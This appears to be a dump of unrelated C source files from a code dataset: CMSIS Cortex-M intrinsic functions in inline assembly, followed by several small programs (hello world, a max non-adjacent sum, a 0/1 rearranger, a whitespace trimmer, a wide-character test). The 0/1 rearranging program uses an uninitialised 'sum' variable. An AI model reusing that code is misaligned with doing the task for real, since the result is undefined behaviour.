"BX lr \n\t" : "=r" (result) );
return(result);
}
/**
* @brief Set the Process Stack Pointer
*
* @param topOfProcStack Process Stack Pointer
*
* Assign the value ProcessStackPointer to the MSP
* (process stack pointer) Cortex processor register
*/
void __set_PSP(uint32_t topOfProcStack) __attribute__( ( naked ) );
void __set_PSP(uint32_t topOfProcStack)
{
__ASM volatile ("MSR psp, %0\n\t"
"BX lr \n\t" : : "r" (topOfProcStack) );
}
/**
* @brief Return the Main Stack Pointer
*
* @return Main Stack Pointer
*
* Return the current value of the MSP (main stack pointer)
* Cortex processor register
*/
uint32_t __get_MSP(void) __attribute__( ( naked ) );
uint32_t __get_MSP(void)
{
uint32_t result=0;
__ASM volatile ("MRS %0, msp\n\t"
"MOV r0, %0 \n\t"
"BX lr \n\t" : "=r" (result) );
return(result);
}
/**
* @brief Set the Main Stack Pointer
*
* @param topOfMainStack Main Stack Pointer
*
* Assign the value mainStackPointer to the MSP
* (main stack pointer) Cortex processor register
*/
void __set_MSP(uint32_t topOfMainStack) __attribute__( ( naked ) );
void __set_MSP(uint32_t topOfMainStack)
{
__ASM volatile ("MSR msp, %0\n\t"
"BX lr \n\t" : : "r" (topOfMainStack) );
}
/**
* @brief Return the Base Priority value
*
* @return BasePriority
*
* Return the content of the base priority register
*/
uint32_t __get_BASEPRI(void)
{
uint32_t result=0;
__ASM volatile ("MRS %0, basepri_max" : "=r" (result) );
return(result);
}
/**
* @brief Set the Base Priority value
*
* @param basePri BasePriority
*
* Set the base priority register
*/
void __set_BASEPRI(uint32_t value)
{
__ASM volatile ("MSR basepri, %0" : : "r" (value) );
}
/**
* @brief Return the Priority Mask value
*
* @return PriMask
*
* Return state of the priority mask bit from the priority mask register
*/
uint32_t __get_PRIMASK(void)
{
uint32_t result=0;
__ASM volatile ("MRS %0, primask" : "=r" (result) );
return(result);
}
/**
* @brief Set the Priority Mask value
*
* @param priMask PriMask
*
* Set the priority mask bit in the priority mask register
*/
void __set_PRIMASK(uint32_t priMask)
{
__ASM volatile ("MSR primask, %0" : : "r" (priMask) );
}
/**
* @brief Return the Fault Mask value
*
* @return FaultMask
*
* Return the content of the fault mask register
*/
uint32_t __get_FAULTMASK(void)
{
uint32_t result=0;
__ASM volatile ("MRS %0, faultmask" : "=r" (result) );
return(result);
}
/**
* @brief Set the Fault Mask value
*
* @param faultMask faultMask value
*
* Set the fault mask register
*/
void __set_FAULTMASK(uint32_t faultMask)
{
__ASM volatile ("MSR faultmask, %0" : : "r" (faultMask) );
}
/**
* @brief Return the Control Register value
*
* @return Control value
*
* Return the content of the control register
*/
uint32_t __get_CONTROL(void)
{
uint32_t result=0;
__ASM volatile ("MRS %0, control" : "=r" (result) );
return(result);
}
/**
* @brief Set the Control Register value
*
* @param control Control value
*
* Set the control register
*/
void __set_CONTROL(uint32_t control)
{
__ASM volatile ("MSR control, %0" : : "r" (control) );
}
/**
* @brief Reverse byte order in integer value
*
* @param value value to reverse
* @return reversed value
*
* Reverse byte order in integer value
*/
uint32_t __REV(uint32_t value)
{
uint32_t result=0;
__ASM volatile ("rev %0, %1" : "=r" (result) : "r" (value) );
return(result);
}
/**
* @brief Reverse byte order in unsigned short value
*
* @param value value to reverse
* @return reversed value
*
* Reverse byte order in unsigned short value
*/
uint32_t __REV16(uint16_t value)
{
uint32_t result=0;
__ASM volatile ("rev16 %0, %1" : "=r" (result) : "r" (value) );
return(result);
}
/**
* @brief Reverse byte order in signed short value with sign extension to integer
*
* @param value value to reverse
* @return reversed value
*
* Reverse byte order in signed short value with sign extension to integer
*/
int32_t __REVSH(int16_t value)
{
uint32_t result=0;
__ASM volatile ("revsh %0, %1" : "=r" (result) : "r" (value) );
return(result);
}
/**
* @brief Reverse bit order of value
*
* @param value value to reverse
* @return reversed value
*
* Reverse bit order of value
*/
uint32_t __RBIT(uint32_t value)
{
uint32_t result=0;
__ASM volatile ("rbit %0, %1" : "=r" (result) : "r" (value) );
return(result);
}
/**
* @brief LDR Exclusive (8 bit)
*
* @param *addr address pointer
* @return value of (*address)
*
* Exclusive LDR command for 8 bit value
*/
uint8_t __LDREXB(uint8_t *addr)
{
uint8_t result=0;
__ASM volatile ("ldrexb %0, [%1]" : "=r" (result) : "r" (addr) );
return(result);
}
/**
* @brief LDR Exclusive (16 bit)
*
* @param *addr address pointer
* @return value of (*address)
*
* Exclusive LDR command for 16 bit values
*/
uint16_t __LDREXH(uint16_t *addr)
{
uint16_t result=0;
__ASM volatile ("ldrexh %0, [%1]" : "=r" (result) : "r" (addr) );
return(result);
}
/**
* @brief LDR Exclusive (32 bit)
*
* @param *addr address pointer
* @return value of (*address)
*
* Exclusive LDR command for 32 bit values
*/
uint32_t __LDREXW(uint32_t *addr)
{
uint32_t result=0;
__ASM volatile ("ldrex %0, [%1]" : "=r" (result) : "r" (addr) );
return(result);
}
/**
* @brief STR Exclusive (8 bit)
*
* @param value value to store
* @param *addr address pointer
* @return successful / failed
*
* Exclusive STR command for 8 bit values
*/
uint32_t __STREXB(uint8_t value, uint8_t *addr)
{
uint32_t result=0;
__ASM volatile ("strexb %0, %2, [%1]" : "=&r" (result) : "r" (addr), "r" (value) );
return(result);
}
/**
* @brief STR Exclusive (16 bit)
*
* @param value value to store
* @param *addr address pointer
* @return successful / failed
*
* Exclusive STR command for 16 bit values
*/
uint32_t __STREXH(uint16_t value, uint16_t *addr)
{
uint32_t result=0;
__ASM volatile ("strexh %0, %2, [%1]" : "=&r" (result) : "r" (addr), "r" (value) );
return(result);
}
/**
* @brief STR Exclusive (32 bit)
*
* @param value value to store
* @param *addr address pointer
* @return successful / failed
*
* Exclusive STR command for 32 bit values
*/
uint32_t __STREXW(uint32_t value, uint32_t *addr)
{
uint32_t result=0;
__ASM volatile ("strex %0, %2, [%1]" : "=&r" (result) : "r" (addr), "r" (value) );
return(result);
}
#elif (defined (__TASKING__)) /*------------------ TASKING Compiler ---------------------*/
/* TASKING carm specific functions */
/*
* The CMSIS functions have been implemented as intrinsics in the compiler.
* Please use "carm -?i" to get an up to date list of all instrinsics,
* Including the CMSIS ones.
*/
#endif
|
the_stack_data/150139936.c | #include <stdio.h>
int main()
{
printf("hello world!\n");
return 0;
} |
the_stack_data/90764579.c | #include <stdio.h>
#define ll long long
ll max(ll a, ll b){
return a>b?a:b;
}
int main(){
int n;
scanf("%i",&n);
ll memo[n][2];
for(int x = 0; x < n ;x++){
int val;
scanf("%i",&val);
if(x==0){
memo[0][0] = 0;
memo[0][1] = val;
}
else{
memo[x][0] = max(memo[x-1][0],memo[x-1][1]);
memo[x][1] = memo[x-1][0] + val;
}
}
printf("%lld",max(memo[n-1][0],memo[n-1][1]));
} |
the_stack_data/104721.c | //arrrange the order of 0 and 1 in an array
#include<stdio.h>
int main(){
int a[]={0,1,1,1,0,0,1,0,1};
int len=sizeof(a)/sizeof(int),i,sum,j;
for(i=0;i<len;i++){
sum=sum+a[i];
}
int limit=len-sum;
for(j=0;j<len;j++){
if(j<limit){
a[j]=0;
}else{
a[j]=1;
}
printf("%d",a[j]);
}
return 0;
}
|
the_stack_data/123067.c | #include <stdio.h>
#define MAXLINE 1000 // max length of text line
int mygetline(char line[], int maxlength);
void removeTrailSpace(char line[]);
/* remove trailing blakks and tabs at end of lines */
int main()
{
int len; // current line length
char line[MAXLINE]; // current line
while ((len = mygetline(line, MAXLINE)) > 0)
if (len > 1) {
removeTrailSpace(line);
printf("%s", line);
}
}
/* getilne: read a line into s, return its length */
int mygetline(char s[], int lim)
{
int c, i;
for (i = 0; i < lim-1 && (c = getchar()) != EOF && c != '\n'; ++i)
s[i] = c;
if (c == '\n') {
s[i] = c; // since the for loop exit before putting the newline
++i;
}
s[i] = '\0'; // the end of string character
return i;
}
/* removeTrailSpace: delete tabs and spaces from end of line */
void removeTrailSpace(char s[])
{
int i = 0;
int len;
// finding length of line
while (s[i] != '\0')
++i;
len = i--;
if ((i >= 0) && (s[i] == '\n'))
--i;
while ((i >= 0) && ((s[i] == ' ') || (s[i] == '\t')))
--i;
if (i < 0) {
s[0] = '\0'; // delete the empty line
}
else {
if (s[len - 1] == '\n')
s[++i] = '\n';
s[++i] = '\0';
}
}
|
the_stack_data/70448933.c | // this file contains BMP chars encoded in UTF-8
#include <stdio.h>
#include <wchar.h>
int test()
{
wchar_t s[] = L"hello$$你好¢¢世界€€world";
wchar_t *p;
for (p = s; *p; p++) printf("%04X ", (unsigned) *p);
printf("\n");
return 0;
}
int main () {
int x;
x = test();
printf("%d\n", x);
return 0;
} |
Subsets and Splits